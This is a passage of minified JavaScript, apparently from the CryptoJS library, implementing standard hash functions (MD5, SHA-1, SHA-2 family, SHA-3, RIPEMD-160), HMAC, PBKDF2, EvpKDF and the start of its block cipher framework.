D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: 